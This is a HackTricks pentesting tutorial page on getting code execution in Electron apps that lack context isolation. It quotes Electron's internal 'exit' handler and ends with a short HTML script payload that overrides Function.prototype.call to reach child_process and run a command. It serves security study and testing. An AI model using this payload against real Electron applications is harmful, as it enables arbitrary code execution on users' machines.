hacktricks/pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md

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2022-04-20 12:35:33 +00:00
# Electron contextIsolation RCE via Electron internal code
## Example 1
Example from [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41)
"exit" event listener is always set by the internal code when de page loading is started. This event is emitted just before navigation:
```javascript
process.on('exit', function (){
for (let p in cachedArchives) {
if (!hasProp.call(cachedArchives, p)) continue
cachedArchives[p].destroy()
}
})
```
{% embed url="https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36" %}
![](<../../../.gitbook/assets/image (664).png>)
https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin/events.js#L156-L231 -- No longer exists
Then it goes here:
![](<../../../.gitbook/assets/image (647).png>)
Where "self" is Node's process object:
![](<../../../.gitbook/assets/image (652).png>)
The process object has a references to "require" function:
```
process.mainModule.require
```
As the handler.call is going to receive the process object we can overwrite it to execute arbitrary code:
```html
<script>
Function.prototype.call = function(process){
process.mainModule.require('child_process').execSync('calc');
}
location.reload();//Trigger the "exit" event
</script>
```